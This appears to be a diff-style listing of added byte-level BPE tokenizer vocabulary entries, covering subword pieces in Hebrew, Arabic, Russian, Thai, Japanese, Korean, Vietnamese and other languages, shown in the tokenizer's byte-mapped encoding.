+ãģ¿ãģ¦ +ÐŁÐ¾ +ĠЧÑĤо +íĻ© +×ĺ×ij×¢ +меÑĤÑĢ +Ġ×ij×ŀ×Ķ +Ġ×ij×ŀ×Ķ׾ +Ġ×ij×ŀ×Ķ׾×ļ +ÑĩÑĮ +קש×Ķ +знак +знаком +ujÄĻ +×Ļצר +ĠاÙĦÙħÙĦÙĥ +ıyla +×IJ×ŀת +à¸Ľà¸´à¸Ķ +×IJ×Ĺ×ĵ +راد +ĠmáºŃt +ëĭ¤ëĬĶ +Ġlạnh +ש׾×ķש +ØŃدÙĬØ« +تز +å¹´ãģ® +ĠкваÑĢ +ĠкваÑĢÑĤиÑĢ +ä½ľãĤĬ +رÙĪØ¨ +ован +ĠТе +à¸Īำà¸ģ +à¸Īำà¸ģัà¸Ķ +باط +×Ĵת +ĠмаÑĪ +ĠмаÑĪин +×Ļצ×Ķ +ãģ»ãģ¨ +ãģ»ãģ¨ãĤĵãģ© +ÃŃdo +ĠÑıзÑĭк +à¸ļิà¸Ļ +สà¸ĸาà¸Ļà¸Ĺีà¹Ī +ĠìĹ´ +ãĤ¦ãĤ§ +ĠcÃł +пан +åı£ãĤ³ãĥŁ +Ġرد +اÙĤت +ĠÙĥب +ĠÙĥبÙĬرة +ÑģÑĤал +ש×ŀ×Ĺ +posición +ĠÙħÙĦÙĬÙĪÙĨ +ĠìĿ´ìķ¼ +ĠìĿ´ìķ¼ê¸° +Ġhút +ĠÅĽwiat +Ġë°©ë²ķ +ĠÑģвеÑĤ +Ġвидео +ĠاÙĦÙĨظاÙħ +Ġtrá»Ŀi +ĠëĮĢíķ´ìĦľ +ר×ŀת +تداÙĪÙĦ +×ķר×ĵ +ת×ŀ +ת×ŀ×ķ׳×ķת +Ġ×ŀף +Ġдва +Ġ×Ķ×§×ķ +æĹ¥ãģ« +Ġ×Ķ×Ĵ×Ļ×¢ +à¹Ģà¸ŀิà¹Īมà¹Ģà¸ķิม +Ùħارس +Ġê²ĥìŀħëĭĪëĭ¤ +ãģªãģĦãģ¨ +Ġnhiá»ĩt +ëIJ©ëĭĪëĭ¤ +Ġ×ij׳×ķש×IJ +Ġê°Ģìŀ¥ +Ġvợ +ĠÄijóng +צ×Ļ׾×ķ×Ŀ +ê´Ģê³Ħ +ваÑı +×IJ×Ļ×ĸ +×IJ×Ļ×ĸ×Ķ +ĠÙĨظاÙħ +ÙħØŃاÙ쨏 +Ġtải +기ëıĦ +à¸Ľà¸±à¸Īà¸Īุ +à¸Ľà¸±à¸Īà¸Īุà¸ļัà¸Ļ +׼×ĵ×ķר +ĠìķĦìĿ´ +׼׳×Ļס +à¹Ģà¸ķร +à¹Ģà¸ķรียม +Ġngoại +ĠدÙĪÙĦار +Ġrẻ +ĠkhÄĥn +عدد +شعب +czyÄĩ +ĠاÙĦÙĥر +ĠÑĩеловека +ĠÙĪØ¥ÙĨ +×IJ×ĺ +ĠthÆ¡ +ĠاÙĦرÙĬاض +опÑĢедел +опÑĢеделен +×Ķ×ŀש×ļ +ĠÐĿово +зÑĭва +ĠاÙĦدÙĪÙĦÙĬ +ĠÄijáp +ĠкÑĢед +ĠкÑĢедиÑĤ +ового +Ġmôn +à¸Ľà¸£à¸°à¹Ĥย +à¸Ľà¸£à¸°à¹Ĥยà¸Ĭà¸Ļ +à¸Ľà¸£à¸°à¹Ĥยà¸Ĭà¸Ļà¹Į +ÑģÑĤе +ĠThá»ĭ +دÙĬØ© +×ŀצ×ķ +ÙģØ§Øª +×§×ĵ×Ŀ +ìĿ´ëĿ¼ê³ł +ÙĪØ® +Ġ×Ĺ×ĸ +ĠÑĦоÑĤо +׾×Ļת +تÙİ +ÙĪØ¨Ø± +йÑĤи +ĠÃ¶ÄŁren +Ġ×Ķ×ĸ×ķ +Ġvá»įng +ÙĤÙĪØ© +ĠTây +ĠÐĿи +Ġש×ķ×ij +ãģ¨è¨ĢãĤıãĤĮ +ãģ©ãĤĵãģª +×Ĺצ×Ļ +ï½ľ +Ġ×ķ×Ķ×ķ×IJ +ä¸Ģãģ¤ +ĠÑģÑĤоиÑĤ +niÄħ +×ĺר×Ļ +ĠдеÑĤей +нÑıÑĤÑĮ +ĠÑģделаÑĤÑĮ +Ġë§İìĿ´ +ä½ķãģĭ +ãģĽãĤĭ +à¹Ħหม +à¸ķิà¸Ķà¸ķà¹Īà¸Ń +Ġ×ijת×Ĺ +Ġ×ijת×Ĺ×ķ×Ŀ +ìĻĦ +ì§ĢëĬĶ +ÑģÑĤаÑĤ +ÑıÑģн +üb +Ġthả +Ġ×ij×IJ×ŀת +Ġtuyến +×ĵ×Ļר×Ķ +Ġ×IJ×Ļש×Ļ +×ĸ׼ר +ãģ°ãģĭãĤĬ +Ġxét +׼×Ļ×ķ +׼×Ļ×ķ×ķף +diÄŁini +ĠاÙĦÙħÙĪØ¶ÙĪØ¹ +ĠháºŃu +à¸Īาà¸ģà¸ģาร +×ijס×Ļס +Ġ×ŀ×Ĵ×Ļ×¢ +×ij×Ļ×¢ +ĠÙĪØ¬Ùĩ +à¹ģà¸Ķà¸ĩ +à¸Ļาà¸ĩ +ĠÅŀa +ì¡´ +ë¡Ģ +à¸ķะ +Ġ×Ķ×Ĺ×Ļ×Ļ×Ŀ +ÙģÙĬد +ãģ§ãģĻãģĭãĤī +ê·ľ +źni +ĠлÑİдей +Ġyüzde +ıyorum +ĠاÙĦبØŃر +eño +паÑĢ +ÙĬÙĤØ© +обÑĢ +ר×ķ×ļ +تÙĪÙĤع +ĠاÙĦØ´ÙĬØ® +åĪĿãĤģãģ¦ +ĠÑĤелеÑĦ +ĠÑĤелеÑĦон +Ġthôi +Ġ×Ļ׼×ķ׾×Ļ×Ŀ +ĠÅŁirk +ĠÅŁirket +Ġìļ°ë¦¬ê°Ģ +ĠÄijông +Ġת×ķ×ĵ×Ķ +ÑģмоÑĤÑĢеÑĤÑĮ +ĠÙĦÙĩÙħ +Ġ׾׼ +ĠNó +ĠØŃاÙĦØ© +ãģĦãģij +קר×ķ +azı +ãĤ³ãĥ¼ +ĠÙĦÙĦت +sınız +ĠHải +기ìĪł +ยัà¸ĩà¹Ħมà¹Ī +ëĭ¤ê³ł +פ×Ĺ +Ġ׾×Ĵ×ij×Ļ +ĠعÙĨÙĩ +Ġказ +Ġказино +بÙĪØ± +ÑĦеÑĢ +Ġê°ĻìĿ´ +تسجÙĬÙĦ +ĠاÙĦÙħرÙĥز +ĠThái +даÑĤÑĮ +×ŀ×Ļ×Ļ׾ +ĠpaylaÅŁ +ãģ¤ãģ® +à¹Ģรืà¸Ń +nça +׳×ķ×Ĺ +Ġ×IJפ×Ļ׾×ķ +ãģ¨èĢĥãģĪ +ãģ¨ãģĹãģ¦ãģ¯ +à¹Ģà¸Īà¸Ń +×ŀפ +ĠgiriÅŁ +лиÑĤ +ÑĤелÑı +Ñijн +æ°Ĺãģ« +Ġgó +Ġgóp +åĪĩãĤĬ +Ġ×Ķ×Ĺ×ĵש +жал +Ġ×ĵעת +éģķãģĨ +à¹Ģà¸Ĥà¹īาà¹Ħà¸Ľ +Ġסר×ĺ +eña +æĸ°ãģĹãģĦ +رÙİ +ĠÐIJÑĢ +Ġphản +à¸Īะà¹Ħà¸Ķà¹ī +Ġ×ijצ×ķר×Ķ +شاÙĩ +شاÙĩد +ÙĪØ±Ø¯ +à¹Ģà¸Ļืà¹Īà¸Ńà¸ĩà¸Īาà¸ģ +илиÑģÑĮ +à¹ģละà¸ģาร +Ġ×Ķ×ĸ׼ +Ġ×Ķ×ĸ׼×ķ×Ļ×ķת +eiÃŁ +ãĥ¨ +ìĥĪ +ĠÃĩa +Ư +ש×Ĵ +ÙĬÙĨØ© +รà¹īà¸Ńà¸ĩ +ãĤµãĥ³ +ÑĢоÑģÑģий +ÑĢоÑģÑģийÑģк +aÄŁa +ĠнаÑĩина +ĠصÙĦÙī +à¸Ĺุà¸ģà¸Ħà¸Ļ +íļĮìĤ¬ +ĠлиÑĨ +Ø´ÙĬر +ĠØ´ÙĬØ¡ +ÙĬÙĨا +Ġפ×Ĺ×ķת +Ġiçeris +Ġiçerisinde +ĠØ£ØŃÙħد +Ġżeby +ì´Ŀ +Ġпоказ +Ġименно +หà¸Ļัà¸ĩส +หà¸Ļัà¸ĩสืà¸Ń +ĠÑĤÑĢе +สัà¸ĩà¸Ħม +Ø¥ÙIJ +ãģĮå¿ħè¦ģ +ÙĬÙijØ© +פצ +íĭ° +ĠÙħجاÙĦ +׳פש +кан +×Ĺ×ķפ +×Ĺ×ķפש +ì²ĺëŁ¼ +оваÑı +зов +Ġhạ +ĠdziÄĻki +×Ļר×ķ +Ġ׾×ŀצ +Ġ׾×ŀצ×ķ×IJ +×Ļ×ĵ×ķ +Ġsợ +Ġ׾×Ķ×Ĵ×Ļ×¢ +×§×ij×¢ +Ġchiá»ģu +ãĥŀãĤ¤ +ĠdÃłng +à¹ģà¸Łà¸Ļ +Ġüye +×Ļ׳×Ĵ +à¹Ģรียà¸ģ +ç§ģãģĮ +thé +ĠÑĦилÑĮ +ĠÑĦилÑĮм +ĠNgÃły +Ġжен +ĠженÑīин +جÙĬد +nç +à¸Ľà¸£à¸² +×Ļ×ŀ×ķ +Ġná»ģn +×IJ×ķ׾×Ŀ +ĠвозможноÑģÑĤÑĮ +Ġëĭ¤ìĭľ +è¦ĭãģŁ +à¸ĸà¸Ļ +à¸ĸà¸Ļà¸Ļ +mızı +ĠÙħجÙħÙĪØ¹Ø© +cjÄħ +ĠÐłÐ¤ +à¸ģำหà¸Ļ +à¸ģำหà¸Ļà¸Ķ +ĠìĹ¬ê¸° +landı +ниÑĨ +ÑģÑĤве +Ġ×ĵ×ijר×Ļ×Ŀ +ĠskÅĤad +ãĤĬãģ¾ãģĹãģŁ +ĠоÑĤкÑĢÑĭÑĤ +нÑıÑĤ +ĠÑģвоей +à¸Īิà¸ķ +ĠкаÑĩеÑģÑĤве +ĠettiÄŁi +ìĤ¬íķŃ +ĠاÙĦÙĬÙħÙĨ +иÑĩеÑģкий +ë¸Į +Ġ×ij×IJרץ +ĠاسÙħ +ĠизвеÑģÑĤ +rão +ĠattivitÃł +à¹Ģà¸Ľà¹ĩà¸Ļà¸ģาร +ĠاÙĦدÙĥت +ĠاÙĦدÙĥتÙĪØ± +ĠÙĪØ§ØŃدة +ĠÑģÑĩеÑĤ +ĠпÑĢиÑĩ +ĠпÑĢиÑĩин +ĠÙĪØ²Ø§Ø±Ø© +Ġhuyá»ĩn +ĠÙĥتاب +à¹ģà¸Ļà¹Īà¸Ļ +à¹ģà¸Ļà¹Īà¸Ļà¸Ńà¸Ļ +Ġgünü +гÑĢÑĥз +ĠاÙĦخاص +Ġgörül +׾×ŀ×ĵ +ĠìłķëıĦ +×ķ×ij×Ļ׾ +Ġ×ŀקצ×ķ×¢×Ļ +ĠоÑģобенно +à¸Ľà¸£à¸°à¸ģา +à¸Ľà¸£à¸°à¸ģาศ +acaģını +ë¶ģ +à¸łà¸¹à¸¡à¸´ +ĠÑįлекÑĤ +ĠÑįлекÑĤÑĢо +Ġקש×Ķ +سÙĦØ· +à¸Ĭà¸Ļะ +×¢×Ļ׾ +ĠЧе +à¹ģà¸Ļà¹Ī +lıģ +lıģın +Ġ×ŀ×¢×¨×Ľ×ª +好ãģįãģª +มาà¸ģà¸Ĥึà¹īà¸Ļ +×ŀ×¢×ijר +ĠاÙĦÙħغرب +ĠпеÑĢи +ĠпеÑĢиод +Ġnhạc +اÙĪÙĬ +ĠÙĪØ¹ÙĦÙī +أخذ +ĠCô +תר×ij×ķת +×Ĵ×Ķ +Ġktórej +×IJ×Ļת +×ij×ķ×IJ +делÑĮ +รีวิ +รีวิว +жÑĥ +Ġ×ij×Ĺ×ķ +еÑĪÑĮ +ĠØ£ÙĦÙģ +ĠاÙĦÙĪØ·ÙĨÙĬ +ĠاÙĦÙħÙĨØ·ÙĤØ© +nÄħÄĩ +Ġthiên +иÑĩеÑģкой +ĠاÙĦÙħÙĦ +ĠعÙħ +ספר +Ġnhóm +ÙĪØµÙģ +ĠChúng +ĠرÙĤÙħ +ãģ¾ãģĹãģŁãģĮ +alité +ลม +ĠëĤ´ê°Ģ +׾ק×ķ×Ĺ +ĠSÆ¡n +posição +miÄĻ +Ġtránh +ĠÄIJá»Ļ +׼×Ĺ +ãģĤãģ£ãģ¦ +à¸Ńยà¹Īา +Ġ×ŀ×Ĺ×Ļר +Ġ×Ķ×Ļת×Ķ +à¸Ľà¹Īา +à¸Ńืà¹Īà¸Ļà¹Ĩ +Ø´ÙĤ +×ł×¡×Ļ +림 +ãģ¦ãģĹãģ¾ãģĨ +Ġ×ŀצ×ij +ãģ«åĩº +ÙħÙĪØ§Ø·ÙĨ +ยัà¸ĩมี +алÑĮнÑĭе +sanız +إسرائÙĬÙĦ +ĠvÃłi +ì¤Ħ +ã썿ĢĿãģ£ãģ¦ +×Ļ×ķ׳×Ļ +çĶŁãģį +Ġsâu +ÑĩиÑģÑĤ +Ġlá»ħ +ĠGiá +à¸Ńà¸¸à¸Ľ +à¸Ńà¸¸à¸Ľà¸ģร +à¸Ńà¸¸à¸Ľà¸ģรà¸ĵà¹Į +Ġnhẹ +rö +ס×ĺ×Ļ +ãģķãĤĵãģĮ +Ġdầu +عÙİ +ترا +×Ĵ×ĵ׾ +Ġtécnica +׼׳×Ļ×Ŀ +תקש +תקש×ķרת +Ġнего +était +Ġmá»ģm +ÑģеÑĤ +ĠnháºŃt +Ġ×ŀ×¢×ľ +Ġ×Ķ×¢×ij×ķ×ĵ +Ġ×Ķ×¢×ij×ķ×ĵ×Ķ +Ġ×Ĵ×Ļ׾ +ãģ¯ãģªãģĦ +ائØŃ +ĠздеÑģÑĮ +×IJ×Ļ׳×ĺר +ÙħÙIJ +Ġ×Ļ×Ĺ×ĵ +راÙģ +ì²ĺ리 +×ĵ×¢×ķת +ì¹ľ +ĠТо +ĠThế +ì¶© +Ġ׳׼×ķף +عÙĬØ´ +низ +ĠجاÙĨب +×ŀקצ×ķ×¢ +à¹Ĥà¸ĭ +ÑģÑĥÑĤ +ìĸ´ìļĶ +ãĤĴè¦ĭãģ¦ +ارد +Ġaçıl +ĠاÙĦØŃÙĬاة +à¸ģà¹ĩà¹Ħà¸Ķà¹ī +ãģĿãĤĮãĤĴ +عضÙĪ +ĠгÑĢаж +ĠгÑĢаждан +à¸Īะà¸ķà¹īà¸Ńà¸ĩ +ĠìĿ´ë٬ +ĠìĿ´ë٬íķľ +Ġtrách +ÙĨÙİ +Ġkısa +ÃĶ +ÑĪка +ãģ®äºº +ĠÐŁÐ¾Ñģ +ĠÐŁÐ¾Ñģле +ÑĥлÑĮ +ÙĪØ§Ø¬Ùĩ +ÙĤرب +à¸Ľà¸ıิà¸ļัà¸ķิ +ê°Ļ +Ġ×ŀ׳ +ĠÑģвои +براÙħج +ĠرÙĪ +пÑĢод +пÑĢодаж +ĠbyÅĤy +วัย +Ġgörün +ĠÃĪ +ÑİÑīим +ĠÑĤакой +ÙģÙĪØ± +ĠÙ쨹ÙĦ +Ġбел +ëIJł +erÃŃa +ĠÑģвоÑİ +Ġlã +Ġlãnh +à¹Ģà¸ŀืà¹Īà¸Ńà¹ĥหà¹ī +ÙĤÙĨ +تطÙĪÙĬر +Ġsayı +ĠÑģейÑĩаÑģ +Ġ×IJ×Ĺרת +×§×ķפ×Ķ +×§×ķרס +ĠسÙħ +Ġ×ĺ×Ļפ×ķ׾ +ìĿ´ëĿ¼ëĬĶ +دراسة +èµ·ãģĵ +×Ĺ×Ļ׳ +×Ĺ×Ļ׳×ķ×ļ +×ĵ×§ +Ġë§ŀ +Ġкоманд +ĠÐijо +ĠигÑĢÑĭ +à¸ļี +ĠØ£Ùİ +вен +ĠاÙĦجدÙĬد +ĠÙĦØ¥ +Ġ×ķ×IJ׳×Ļ +Ġ×Ķס×Ļ +иÑĩеÑģкого +رÙĪØŃ +à¸ģารศึà¸ģษา +ĠTrưá»Ŀng +игÑĢа +ılması +ĠмаÑģÑģ +ãģ¨ãģįãģ« +à¸Ĺีà¹Īà¸ľà¹Īาà¸Ļ +à¸Ĺีà¹Īà¸ľà¹Īาà¸Ļมา +ĠاÙĦسابÙĤ +Ġ×ŀ×¢×ĺ +ваÑĤÑĮ +mÃ¼ÅŁ +Ġ׾׼×ļ +Ġtá»ĭch +ÙģÙĩÙħ +تدرÙĬب +Ø´Ùĥ +Ġ×ij×ŀ×Ļ +Ġ×ij×ŀ×Ļ×ķ×Ĺ×ĵ +ÙĤطاع +ãģªãģĹ +×ķצ×Ļ×IJ +ĠÙĪØ³ÙĬ +зÑĥ +Ġyat +Ġyatırım +ë§İ +Ġthắng +ãģĬ客 +ãģĬ客æ§ĺ +ĠThiên +ãģ«å¯¾ãģĹãģ¦ +ÑĢиÑģ +ÙĨتائ +ÙĨتائج +Ġ×ŀשר +Ġ×ŀשר×ĵ +ĠتعاÙĦ +ĠتعاÙĦÙī +ש׳×Ļ +ÙĩاÙħ +×IJ׳ש×Ļ×Ŀ +Ġżycia +ĠÑĢÑĥблей +ÙĬض +Ġkatıl +ĠÙħÙĪØ¶ÙĪØ¹ +Ġvardır +ĠÙħÙĨØ·ÙĤØ© +ĠTrần +ĠвеÑģ +üp +ÙħÙĪÙĨ +ÑĪли +Ġnóng +Ø®ÙĦÙģ +ĠСÑĤа +ĠдоÑĢ +ĠдоÑĢог +ĠwÅĤaÅĽnie +eÄŁin +Ġhiá»ĥm +ĠСам +ê»ĺìĦľ +ĠÑĦа +ãģ»ãģĨ +ãģ»ãģĨãģĮ +×ķפ×Ļ×¢ +ê°Ī +دÙĪÙĦ +Ġthuê +Ġchá»Ĺ +Ġëĭ¹ìĭł +ãģijãĤĮ +ãģijãĤĮãģ© +ë³´íĺ¸ +ãģķãĤĮãģ¦ãģĦãģ¾ãģĻ +Ġнадо +ĠìĤ¬ëŀĮëĵ¤ +à¹Ģà¸Ĥà¸ķ +สมัย +zÅĤ +تÙĪØ± +Ġשת×Ļ +vê +Ġ×ijת×ķ×ļ +à¸Ĭัย +ãģĦãģ£ãģŁ +ìĿij +Ġtầ +Ġtầng +ש׼ר +Ġê¸Ģ +Ġ×Ķש׳×Ķ +ĠاÙĨÙĩ +ç«ĭãģ¡ +rés +führen +رØŃÙħ +ê·¹ +ĠâĢ« +Ġsuất +à¸Łà¸´ +ÙĬÙĩا +ĠاÙĦاتØŃاد +Ġtuyá»ĥn +ãģ¾ãĤĭ +Ġmại +Ġngân +ãĤ°ãĥ© +欲ãģĹãģĦ +سار +ãĤĤãģ®ãģ§ãģĻ +кие +Ġseçim +åħ¥ãĤĬ +ãģªãģ©ãĤĴ +ÑĤÑĢи +ĠÑģпеÑĨ +Ġأد +Ġодно +ÑĪел +ãĥĩãĥ¼ãĤ¿ +ãĤ·ãĤ¹ãĥĨ +ãĤ·ãĤ¹ãĥĨãĥł +è¡Įãģį +ã썿ĢĿãģ£ãģŁ +à¹Ģà¸ģิà¸Ķà¸Ĥึà¹īà¸Ļ +ĠÑĤож +ĠÑĤоже +Ġsạch +ĠÑģÑĢок +ĠклиенÑĤ +ĠÙħشرÙĪØ¹ +Ġaltında +Ġì·¨ +ä¸Ńãģ® +ãģķãģĽãĤĭ +ãģĻãģ¹ +ãģĻãģ¹ãģ¦ +ê°ľë°ľ +ĠÄijêm +ãģªãģĦãģ®ãģ§ +ì²ł +×¢×ij×ĵ +Ġdấu +à¸Ħà¸Ļà¸Ĺีà¹Ī +ĠCách +تعÙĦÙĬÙħ +Ġhại +ãĤ»ãĥķãĥ¬ +ĠÙĨÙ쨳Ùĩ +ĠíĨµíķ´ +ÑĪло +ĠнапÑĢав +ĠнапÑĢавлен +ÑĢÑĥÑĩ +íĶĮ +Ġ×ijר×Ļ×IJ +ãģ®ãģ¿ +ãģ«ãģĬãģĦãģ¦ +×ij׳ק +ãĤ¨ãĥ³ +Ø«ÙĦاث +Ġmỹ +ĠÑģайÑĤе +ĠемÑĥ +تغÙĬ +تغÙĬÙĬر +خصÙĪØµ +ÑĤели +Ġ×ķ׾׼ף +פע×Ŀ +ĠпоÑįÑĤомÑĥ +راÙĨ +иÑĤелей +пиÑģан +×¢×¥ +ĠìĤ¬ìĹħ +Ùħز +جÙħÙĬع +ë©´ìĦľ +à¸ľà¸¥à¸´à¸ķà¸łà¸± +à¸ľà¸¥à¸´à¸ķà¸łà¸±à¸ĵ +à¸ľà¸¥à¸´à¸ķà¸łà¸±à¸ĵà¸ij +à¸ľà¸¥à¸´à¸ķà¸łà¸±à¸ĵà¸ijà¹Į +ĠпÑĢимеÑĢ +ãĤŃãĥ¼ +lâ +ĠchÄĥm +缮ãģ® +ãģĦãģĭ +ãģ¨è¨ĢãģĨ +×ĸ×ķ×Ĵ +Ġ×ij×ĵ×Ļ +Ġ×ij×ĵ×Ļ×ķ×§ +ãģĬåºĹ +à¸ķà¸Ńà¸Ļà¸Ļีà¹ī +Ġphá»iji +пÑĤ +สà¸Ļาม +Ø·ÙĪ +صاØŃ +صاØŃب +ĠDü +ĠDünya +Ġпока +пал +ĠÄijảo +ĠاÙĦÙģÙĪØ± +ĠاÙĦÙģÙĪØ±Ùĥس +Ġmáu +кÑĢеп +ĠاÙĦساعة +ĠгоÑĢода +Ù쨵ÙĦ +айÑĤе +Ġдог +ĠдоговоÑĢ +Ġإذ +Ġ×ij׼׾׾ +ÙĬتÙĩ +×Ĵ×ijר +Ġbirç +Ġbirçok +문íĻĶ +ãģĿãģĨãģª +راØŃ +ĠÙħرة +ĠденÑĮги +fä +à¸Ĥà¹īาว +ĠÑģовÑĢем +ĠÑģовÑĢеменн +׾×Ĺ×¥ +èī¯ãģı +ĠÙ쨣 +Ġ×ķ×ĸ×Ķ +Ġзани +Ġзанима +Ġê°Ģì§Ģê³ł +ĠhÆ¡i +ãģªãģ®ãģĭ +ãĥĨãĥ¬ãĥĵ +Ġר×ij×ķת +à¸ķี +Ġ×ij×©×ł×ª +ĠTại +ĠthuáºŃn +Ñģел +Ñijм +dziÄĩ +ĠÑģка +ĠÑģкаÑĩ +ĠÑģкаÑĩаÑĤÑĮ +×ķ×ŀ×ķ +гла +ĠминÑĥÑĤ +åĩºãģĻ +Ġ×Ĺ×Ļ×Ļ×ij +Ġת×Ĵ×ķ×ij×Ķ +à¸£à¸¹à¸Ľà¹ģà¸ļà¸ļ +ниÑĨа +Ġİn +Ġأع +ĠضÙħÙĨ +ÙħثاÙĦ +ĠyaÅŁan +ĠìĹ°êµ¬ +ĠLê +ש׾×Ĺ +ãģıãģªãĤĭ +ìĹĨìĿ´ +ĠÑĤÑĢи +ĠÑĩаÑģÑĤо +ĠобÑĢаÑĤ +пло +دخ +دخÙĪÙĦ +سÙĩ +à¸Ńาà¸ģ +à¸Ńาà¸ģาศ +Ġ׼×ĸ×Ķ +Ġ×Ķעסק +ĠاÙĦØ£ÙĨ +å¹´ãģ« +עש×ķ +Ġשע×ķת +ĠmÃłn +×IJר×Ļ +sıyla +Ù쨱ÙĤ +ниÑħ +Ġتست +è¦ĭãģ¦ +ØŃاÙĪÙĦ +×IJ×Ļ׼×ķת +ĠbaÅŁladı +stÄħ +stÄħpi +à¸Ĺีà¹Īà¹Ģรา +ÙĤرر +جاب +Ġ×ijר×ķר +à¹Ģà¸Ĥà¹īาà¹ĥà¸Ī +×ŀ×Ĺקר +alım +Ġס×Ļפ×ķר +ãģ§ãģĤãĤĮãģ° +Ġש×ŀ×ķר×ķת +Ġ×ķ×ŀ×Ķ +ãģĵãģĿ +idée +ä¸ĭãģķãģĦ +تÙĨاÙĪÙĦ +Ġลà¹īาà¸Ļ +Ġìļ°ë¦¬ëĬĶ +اÙĨا +ÑģÑĤой +боÑĤ +ĠyaÅŁam +köy +Ø¥ÙĦ +ÑĢÑĭв +기ìĹħ +Ġ×Ķ×ŀ×ĵ +Ġ×Ķ×ŀ×ĵ×Ļ׳×Ķ +دب +×¢×Ļ׳×Ļ +×ŀת×Ĺ +Ġפר×Ļ +ãĥĭãĥ¼ +اÙħÙĬ +Ġnhằm +ãĤĮãģªãģĦ +تعرÙģ +Ġë§ĪìĿĮ +ìĵ° +Ġhấp +ר×Ĵ×Ļ׾ +بÙİ +ĠrÄĥng +glÄħd +ĠÑģиÑģÑĤемÑĭ +Ġkhóa +ãģ§ãģĻãĤĪãģŃ +大ãģįãģı +기를 +Ġkéo +ÙĪØ¡ +جاÙħ +جاÙħع +Ġ×¢×Ļצ×ķ×ij +téri +Ġתש +Ġ×IJ×ij×Ļ +ĠChương +à¸ļริà¹Ģว +à¸ļริà¹Ģวà¸ĵ +ãģ¤ãģı +Ġ×Ĺ×ķ׾ +עת×Ļ×ĵ +ש×Ļ×ŀ×Ķ +ëĤ¨ +Ġש×IJ×Ļף +ĠÙĪØ§ÙĦØ¥ +ÑĦа +Ġkhám +Ġ×ĺ×ķ×ij×Ķ +ĠвÑĭÑģ +ĠвÑĭÑģоко +ĠاÙĦØŃدÙĬØ« +人ãĤĤ +dÃ¼ÄŁÃ¼ +×Ļ×Ĺ×ķ×ĵ +تعÙĦÙĬ +تعÙĦÙĬÙĤ +lö +تØŃدÙĬد +него +ĠÑĥдоб +Ġ׾×ŀ×Ļ +Ġר×ķצ×Ļ×Ŀ +Ġجاء +Ġ×ij×ĸ×ŀף +à¸Ľà¸ģà¸ķิ +é«ĺãģı +à¸Ľà¸¥à¸² +Ġartık +Ġbugün +ק׳×Ļ +Ġkhoá +ĠÙħرÙĥز +ĠìŀIJ기 +درجة +×ŀשר×ĵ +Ġgiấy +Ġchóng +קפ +ÙĬبة +ĠczÄĻsto +вали +Ùĥب +ìŁģ +สà¸ļาย +à¸Ľà¸£à¸°à¸Ĭาà¸Ĭà¸Ļ +×Ĵ×ķ×£ +ëŁī +ãģ®ãģĵãģ¨ +ลà¸Ń +Ġnghá»ī +åŃIJãģ© +åŃIJãģ©ãĤĤ +à¹Ħà¸Ķà¹īà¸Ńย +à¹Ħà¸Ķà¹īà¸Ńยà¹Īาà¸ĩ +×ĵ×¢ +ĠاÙĦتÙī +ĠÑģовеÑĤ +ĠqualitÃł +åĩºãģĹ +ĠÑĢÑĥков +ĠÑĢÑĥковод +รายละà¹Ģà¸Ńียà¸Ķ +ãģªãģĭãģªãģĭ +기ê´Ģ +Ġ×Ĺ×ķש +Ġ×Ĺ×ķש×ij +лоÑĤ +à¸Ļะà¸Ħรัà¸ļ +×§×ij×ķצ×Ķ +Ġthái +Ġש×ij×Ķ +ĠÑĪкол +ĠÙĦÙĥÙĦ +à¹ĥà¸Ļà¸Ĭà¹Īวà¸ĩ +ĠÙħÙĥاÙĨ +ëķĮ +Ġcải +ĠChÃŃ +ÑĥÑĩа +ìĿµ +Ġxảy +à¸Ĭà¸Ļิà¸Ķ +ĠcáºŃu +кÑĢов +ssé +ĠÙĨÙĪØ¹ +ĠТа +Ø®Ùħس +פ×ķס×ĺ +Ġmắc +ĠÄijem +à¸ģารà¹ĥà¸Ĭà¹ī +ר×ķס +ĠÐĽÐµ +Ġthá»Ń +รà¹Īาà¸ĩà¸ģาย +üzü +æĹ¥æľ¬ãģ® +ê³¼ìłķ +ש×Ļ×IJ +ĠìŀĪê³ł +×ij×ķ׾ +ìķħ +ĠÙĪØ§ÙĦا +ĠÐĽÐ¸ +ĠвÑģÑij +Ġużytkow +×Ĺ×ķ׾ +رÙ쨶 +Ġsonuç +ãģĦãģ¾ãģĽãĤĵ +ìĤ¬ìĹħ +ëĪĦ +ÑĤек +ĠudziaÅĤ +лез +Ġ×Ķ×Ļ×Ļת×Ļ +ãĤīãĤĮãģ¦ +ÙħسؤÙĪÙĦ +رار +ÑĤан +ĠÄijÃło +Ġר×ķ×ij +Ġ×ijש×ij×Ļ׾ +ä»ĬåĽŀãģ¯ +ãĤ¸ãĥ¥ +Ġ×¢×ijר +ãģĽãģ¦ +полÑĮ +aklı +ĠkÃŃnh +دت +ложение +ĠاÙĦÙħص +ĠاÙĦÙħصرÙĬ +à¸Īริà¸ĩà¹Ĩ +ĠاÙĦشرÙĥØ© +ĠÄijá»ı +ãĥĽãĥĨ +ãĥĽãĥĨãĥ« +Ñįкон +Ñįконом +ĠÙĪØ¹ÙĨ +Ġ×ª×ł +Ġ×ª×ł×IJ×Ļ +ĠاÙĦدÙĪÙĦÙĬØ© +Ġì§ĢìĹŃ +ãģ§ãģĻãģĭ +ĠваÑĢи +ĠваÑĢианÑĤ +ĠاÙĦعرب +ела +ĠtÆ°á»Ľng +skÄħ +Ġmặc +สัà¸ģ +ãĥĵãĥ¼ +Ġ×ij×Ĵ׾ +Ġ×ij×Ĵ׾׾ +ãĥķãĤ¡ãĥ³ +×ij×Ļצ +×ij×Ļצ×ķ×¢ +лиÑģÑĤ +à¸Łà¸¸ +à¸Łà¸¸à¸ķ +à¸Łà¸¸à¸ķà¸ļà¸Ńล +à¸Ŀà¹Īาย +ìŀIJìĿĺ +ĠسÙĪÙģ +Ġש×Ķת +Ġ걸 +×¢×ij×ķ×ĵ +ãģĻãĤĭãģĵãģ¨ãģĮ +ĠÑĩаÑģÑĤÑĮ +ãĤ¢ãĥ¡ãĥª +ãĤ¢ãĥ¡ãĥªãĤ« +Ġtakım +ĠsỼ +ĠsỼm +שר×Ķ +è¨ĢãģĨ +лан +커 +׼׳×Ķ +ÙĪÙģÙĬ +íĹĪ +luÄŁu +ĠëĮĢíķ´ +Ġ׾×ij×Ļת +Ġ×Ķר×IJש×ķ׳×Ķ +صÙħ +Ġsöyled +Ġsöyledi +à¸Ľà¸²à¸ģ +Ġardından +ãģĪãģŁ +à¸Ĺัà¹Īวà¹Ħà¸Ľ +Ġ׳×ķסף +болÑĮ +ãĤĵãģ§ãģĻãģijãģ© +ĠлиÑĪÑĮ +Ġ×ij×IJ×Ļ 